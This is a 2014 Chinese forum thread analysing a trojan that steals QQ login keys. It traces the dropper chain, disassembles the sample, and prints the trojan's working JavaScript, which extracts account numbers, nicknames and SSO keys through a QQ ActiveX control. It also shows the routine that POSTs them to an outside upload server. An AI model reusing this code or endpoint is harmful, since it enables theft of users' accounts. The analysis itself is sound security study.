吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 33029|回复: 123
收起左侧

[PC样本分析] Tenfinder投放的盗qq cookie木马分析

  [复制链接]
L4Nce 发表于 2014-1-20 15:00
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 L4Nce 于 2014-1-20 15:54 编辑

昨天晚上看到Tenfinder被ban了,一看原来是投放木马了。情节十分恶劣,大家引以为戒。
盗取qq cookie使用什么手法我并不清楚,想通过分析这个木马分析出其手段。
由于帖子被删,我找了我的导师chief要了一份样本。
接下来是流程。
首先释放Adobe Flash Player Utility.exe
然后下载hummer.exe(hXXp://bcs.duapp.com/backfire0/hummer.exe)
改名为System.exe
接着System.exe再把System64.exe文件释放出来
System64.exe应该有两层壳可用esp定律脱之。
System64.MD5                     : 48BF006DE2AC8C6835C552BEF4746C38
System64_dump.MD5          : 55387E2684B8D3B96F110D7C8CC9748C
根据图标和代码很容易判断为易语言,一看易语言查看下字符串。
发现几个关键位置。
[C] 纯文本查看 复制代码
0040130C   push System64.004684B5                    &system=
00401314   push System64.004684BE                    &address=
0040131E   push System64.004684C8                    &clientkey=
00401328   push System64.004684D4                    &nickname=
00401332   push System64.004684DF                    number=
0040134B   mov eax,System64.004684E7                 POST
00401357   mov eax,System64.004684EC                 [url=http://api.iobeta.cn/upload.php]http://api.iobeta.cn/upload.php[/url]
[url=http://xui.ptlogin2.qq.com/cgi-bin/qlogin]http://xui.ptlogin2.qq.com/cgi-bin/qlogin[/url]

在字符串处设置好断点
看来是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin
下个send断点。盯着发送的数据
首先访问了金山下面的一个一个查询ip归属地的网址。
1.png
接下来断到了这里
[C] 纯文本查看 复制代码
00402870    68 00000000     push 0x0
00402875    68 00000000     push 0x0
0040287A    68 00000000     push 0x0
0040287F    68 00000000     push 0x0
00402884    68 00000000     push 0x0
00402889    68 00000000     push 0x0
0040288E    68 00000000     push 0x0
00402893    68 01874600     push System64.00468701                   ; [url=http://xui.ptlogin2.qq.com/cgi-bin/qlogin]http://xui.ptlogin2.qq.com/cgi-bin/qlogin[/url]
00402898    68 2B874600     push System64.0046872B                   ; AtlAxWin
0040289D    68 00000000     push 0x0
004028A2    B8 04000000     mov eax,0x4
004028A7    E8 240A0000     call System64.004032D0
004028AC    3965 E4         cmp dword ptr ss:[ebp-0x1C],esp

易语言一大特点就是有很深的封装,无法直接发现调用了什么api。
我们     call System64.004032D0进到这个call里面。
[C] 纯文本查看 复制代码
0041301C    6A 3A           push 0x3A
0041301E    56              push esi
0041301F    E8 7C770300     call System64.0044A7A0                   ; 载入user32.dll
00413024    8B2D A0724600   mov ebp,dword ptr ds:[<&kernel32.LoadLib>; kernel32.LoadLibraryA
0041302A    83C4 08         add esp,0x8
0041302D    85C0            test eax,eax
00413107    8B4C24 10       mov ecx,dword ptr ss:[esp+0x10]
0041310B    51              push ecx                                 ; 获取函数CreateWindowExA的地址
0041310C    56              push esi                                 ; user32.77D10000
0041310D    FF15 58734600   call dword ptr ds:[<&kernel32.GetProcAdd>; kernel32.GetProcAddress
00413113    85DB            test ebx,ebx
00416050    50              push eax
00416051    E8 DAFFFFFF     call System64.00416030
00416056    83C4 04         add esp,0x4
00416059  - FFE0            jmp eax                                  ; user32.CreateWindowExA调用之

接下在CreateWindowExA出下段看他干了些什么
2.png
3.png
出现了一个窗体类"URL Moniker Notification Window"
4.png
我不太清楚这个窗体类"URL Moniker Notification Window"是干什么的,问了下朋友
说是webbrowser控件 用web界面来做软件的界面,还可以进行各种交互。和浏览器差不多。
我就把他理解为一个浏览器吧。看样子是访问了http://xui.ptlogin2.qq.com/cgi-bin/qlogin
(清楚的大牛可以告诉我一下)
接下来到了这里
[C] 纯文本查看 复制代码
00402A39    68 04000080     push 0x80000004
00402A3E    6A 00           push 0x0
00402A40    68 5C874600     push System64.0046875C                   ; JavaScript
00402A45    68 04000080     push 0x80000004
00402A4A    6A 00           push 0x0
00402A4C    68 67874600     push System64.00468767                   ;js代码
00402A51    68 04000080     push 0x80000004
00402A56    6A 00           push 0x0
00402A58    68 5F8A4600     push System64.00468A5F                   ; execScript
00402A5D    68 30000100     push 0x10030                             ; UNICODE "C:\Documents and Settings\All Users"
00402A62    6A 00           push 0x0
00402A64    FF75 E0         push dword ptr ss:[ebp-0x20]

执行了一段js
[JavaScript] 纯文本查看 复制代码
document.body.innerHTML=GetuinKey();..
function GetuinKey(){
var text="";var q_hummerQtrl=null;var g_vOptData=null;
if(window.ActiveXObject)
{try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
var A=q_hummerQtrl.CreateTXSSOData();
q_hummerQtrl.InitSSOFPTCtrl(0,A);
g_vOptData=q_hummerQtrl.CreateTXSSOData();
var a=q_hummerQtrl.DoOperation(1,g_vOptData);
var V=a.GetArray("PTALIST");
var f=V.GetSize();
var H=$("list_uin");
for(var g=0;g<f;g++)
{
var E=V.GetData(g);
var P=E.GetDWord("dwSSO_Account_dwAccountUin");
var U=E.GetStr("strSSO_Account_strNickName");
var G=E.GetBuf("bufST_PTLOGIN");
var A=G.GetSize();var N="";
for(var Y=0;Y<A;Y++)
{var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};

我的js水平还停留在会用alert阶段,不过看函数名是用来获取key的。
由于我是在虚拟机中调试的没有QQ cookie可以改一下js代码
[C] 纯文本查看 复制代码
00402B1E    83C4 04         add esp,0x4
00402B21    6A 00           push 0x0
00402B23    6A 00           push 0x0
00402B25    6A 00           push 0x0
00402B27    68 04000080     push 0x80000004
00402B2C    6A 00           push 0x0
00402B2E    68 6F8A4600     push System64.00468A6F                   ; innerText
00402B33    68 30000100     push 0x10030                             ; UNICODE "C:\Documents and Settings\All Users"
00402B38    6A 00           push 0x0
00402B3A    FF75 E0         push dword ptr ss:[ebp-0x20]
00402B3D    68 03000000     push 0x3
00402B42    BB D0404000     mov ebx,System64.004040D0
00402B47    E8 72070000     call System64.004032BE
00402B4C    83C4 28         add esp,0x28

此处获得document.body.innerHTML的值
[C] 纯文本查看 复制代码
00402B77    6A 00           push 0x0
00402B79    6A 00           push 0x0
00402B7B    68 04000080     push 0x80000004
00402B80    6A 00           push 0x0
00402B82    68 798A4600     push System64.00468A79                   ; ;
00402B87    68 04000080     push 0x80000004
00402B8C    6A 00           push 0x0
00402B8E    8B45 DC         mov eax,dword ptr ss:[ebp-0x24]
00402B91    85C0            test eax,eax
00402B93    75 05           jnz XSystem64.00402B9A
00402B95    B8 B4844600     mov eax,System64.004684B4

00402C45    6A 00           push 0x0
00402C47    6A 00           push 0x0
00402C49    6A 00           push 0x0
00402C4B    68 04000080     push 0x80000004
00402C50    6A 00           push 0x0
00402C52    68 7B8A4600     push System64.00468A7B                   ; |
00402C57    68 04000080     push 0x80000004
00402C5C    6A 00           push 0x0
00402C5E    8B5D E4         mov ebx,dword ptr ss:[ebp-0x1C]
00402C61    8B03            mov eax,dword ptr ds:[ebx]
00402C63    85C0            test eax,eax
00402C65    75 05           jnz XSystem64.00402C6C

分别检测;和 |
看来qq cookie中有这两个符号了
那么我们用这个木马提供的方法来看看qq cookie张什么样。

先访问
http://xui.ptlogin2.qq.com/cgi-bin/qlogin
然后执行js
我改了一下代码
加了一句
[JavaScript] 纯文本查看 复制代码
alert(GetuinKey());
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g++){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y++){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0"+B};N+=B};text+=P+'|'+U+'|'+N+';'}}catch(b){}};return text};



5.png 6.png

果然爆出了key,三部分构成
qq|昵称|key;
看来木马检测|是为了获取各部分的信息
那么就好办了我改一下js代码,在虚拟机中伪造一个key
7.png
[C] 纯文本查看 复制代码
00402CFF    6A 04           push 0x4
00402D01    B8 02000000     mov eax,0x2
00402D06    E8 A1050000     call System64.004032AC
00402D0B    83C4 08         add esp,0x8
00402D0E    8B5D E4         mov ebx,dword ptr ss:[ebp-0x1C]
00402D11    8B03            mov eax,dword ptr ds:[ebx];获得第一部分
00402D13    8945 E0         mov dword ptr ss:[ebp-0x20],eax
00402D16    8B5D 10         mov ebx,dword ptr ss:[ebp+0x10]
00402D19    8B1B            mov ebx,dword ptr ds:[ebx]
00402D1B    895D DC         mov dword ptr ss:[ebp-0x24],ebx

00402DB1    83C4 08         add esp,0x8
00402DB4    8B5D E4         mov ebx,dword ptr ss:[ebp-0x1C]
00402DB7    8B03            mov eax,dword ptr ds:[ebx];获取第二部分
00402DB9    8945 E0         mov dword ptr ss:[ebp-0x20],eax
00402DBC    8B5D 08         mov ebx,dword ptr ss:[ebp+0x8]
00402DBF    8B1B            mov ebx,dword ptr ds:[ebx]
00402DC1    895D DC         mov dword ptr ss:[ebp-0x24],ebx

00402E57    83C4 08         add esp,0x8
00402E5A    8B5D E4         mov ebx,dword ptr ss:[ebp-0x1C]
00402E5D    8B03            mov eax,dword ptr ds:[ebx];获取第三部分
00402E5F    8945 E0         mov dword ptr ss:[ebp-0x20],eax
00402E62    8B5D 18         mov ebx,dword ptr ss:[ebp+0x18]
00402E65    8B1B            mov ebx,dword ptr ds:[ebx]
00402E67    895D DC         mov dword ptr ss:[ebp-0x24],ebx

对每一部分都进行检测,要是检测失败eax返回0,不然返回1
[C] 纯文本查看 复制代码
0040123A    890B            mov dword ptr ds:[ebx],ecx
0040123C    50              push eax
0040123D    3BC8            cmp ecx,eax
0040123F    0F8F 6A010000   jg System64.004013AF;不匹配

0040125E    68 B4844600     push System64.004684B4
00401263    8B5D E4         mov ebx,dword ptr ss:[ebp-0x1C]
00401266    FF33            push dword ptr ds:[ebx]
00401268    E8 97FDFFFF     call System64.00401004
0040126D    83C4 08         add esp,0x8
00401270    83F8 00         cmp eax,0x0
00401273    0F84 3B000000   je System64.004012B4 ;检测qq 号部分是否为空。


[AppleScript] 纯文本查看 复制代码
00401309    FF75 FC         push dword ptr ss:[ebp-0x4]
0040130C    68 B5844600     push System64.004684B5                                    ; &system=
00401311    FF75 F8         push dword ptr ss:[ebp-0x8]
00401314    68 BE844600     push System64.004684BE                                    ; &address=
00401319    8B5D DC         mov ebx,dword ptr ss:[ebp-0x24]
0040131C    FF33            push dword ptr ds:[ebx]
0040131E    68 C8844600     push System64.004684C8                                    ; &clientkey=
00401323    8B5D E0         mov ebx,dword ptr ss:[ebp-0x20]
00401326    FF33            push dword ptr ds:[ebx]
00401328    68 D4844600     push System64.004684D4                                    ; &nickname=
0040132D    8B5D E4         mov ebx,dword ptr ss:[ebp-0x1C]
00401330    FF33            push dword ptr ds:[ebx]
00401332    68 DF844600     push System64.004684DF                                    ; number=
00401337    B9 0A000000     mov ecx,0xA
0040133C    E8 CBFDFFFF     call System64.0040110C
00401341    83C4 28         add esp,0x28
00401344    8945 D8         mov dword ptr ss:[ebp-0x28],eax
00401347    8D45 D8         lea eax,dword ptr ss:[ebp-0x28]
0040134A    50              push eax
0040134B    B8 E7844600     mov eax,System64.004684E7                                 ; POST
00401350    8945 D4         mov dword ptr ss:[ebp-0x2C],eax
00401353    8D45 D4         lea eax,dword ptr ss:[ebp-0x2C]
00401356    50              push eax
00401357    B8 EC844600     mov eax,System64.004684EC                                 ; [url=http://api.iobeta.cn/upload.php]http://api.iobeta.cn/upload.php[/url]
0040135C    8945 D0         mov dword ptr ss:[ebp-0x30],eax
0040135F    8D45 D0         lea eax,dword ptr ss:[ebp-0x30]
00401362    50              push eax
00401363    E8 5E090000     call System64.00401CC6 ;填写完毕发送

8.png
发送完毕后再建立一个bat删除自身
[C] 纯文本查看 复制代码
0040309F    83C4 04         add esp,0x4
004030A2    8945 F4         mov dword ptr ss:[ebp-0xC],eax
004030A5    68 7F8A4600     push System64.00468A7F                                    
004030AA    FF75 F4         push dword ptr ss:[ebp-0xC]
004030AD    68 8D8A4600     push System64.00468A8D                                    
004030B2    FF75 FC         push dword ptr ss:[ebp-0x4]
004030B5    68 A18A4600     push System64.00468AA1                                   
004030BA    FF75 FC         push dword ptr ss:[ebp-0x4]
004030BD    68 AD8A4600     push System64.00468AAD                                    
004030C2    B9 07000000     mov ecx,0x7
004030C7    E8 40E0FFFF     call System64.0040110C

9.png
补上获取系统版本地方
[C] 纯文本查看 复制代码
004011CC    AD              lods dword ptr ds:[esi]
004011CD    AB              stos dword ptr es:[edi]
004011CE    AD              lods dword ptr ds:[esi]
004011CF    AB              stos dword ptr es:[edi]
004011D0    C745 E8 0000000>mov dword ptr ss:[ebp-0x18],0x0
004011D7    E8 DA020000     call System64.004014B6;获取版本
004011DC    8945 E4         mov dword ptr ss:[ebp-0x1C],eax                           ; System64.00468550
004011DF    8B45 E4         mov eax,dword ptr ss:[ebp-0x1C]

窃取过程基本就是这样,分析的比较笼统:一是易语言的封装分析起来很让我头大,二是自己经验方面的问题。
分析过程中不免有所疏忽,还请大家指正。








免费评分

参与人数 5热心值 +5 收起 理由
Chief + 1 欢迎分析讨论交流吾爱破解论坛有你更精彩!
sunflover + 1 标签亮了
Kido + 1 我很赞同!
954101600 + 1 我很赞同!
圣母皇太后 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

vitas5566 发表于 2014-3-15 22:33
怎么说呢,都是高手对于我这样的菜鸟有得学的啦
                 厉害
txke 发表于 2014-1-20 15:07
 楼主| L4Nce 发表于 2014-1-20 15:08
txke 发表于 2014-1-20 15:07
分析呢?

论坛这边出bug了,抢救中
Hmily 发表于 2014-1-20 15:19
@L4Nce  把发帖框右侧的“禁用链接识别”勾选上,然后JS用代码框加上,再试试,禁用连接识别后最好重新粘贴下内容,不然可能还会出现问题。

1.png
淡淡香草味 发表于 2014-1-20 15:20
两段JS有问题,换下格式发
a070458 发表于 2014-1-20 16:12
终于看到了.
这么好的分析
感谢分享
willJ 发表于 2014-1-20 16:15
唔,说得还是很清楚的,加精鼓励,希望赖斯多多发分析文章和大家交流
一曲苍凉断_ 发表于 2014-1-20 16:15
好屌!!!
826185818 发表于 2014-1-20 16:24
好东西..学习了
xinshen 发表于 2014-1-20 16:29
太厉害了。。。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-7 19:58

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表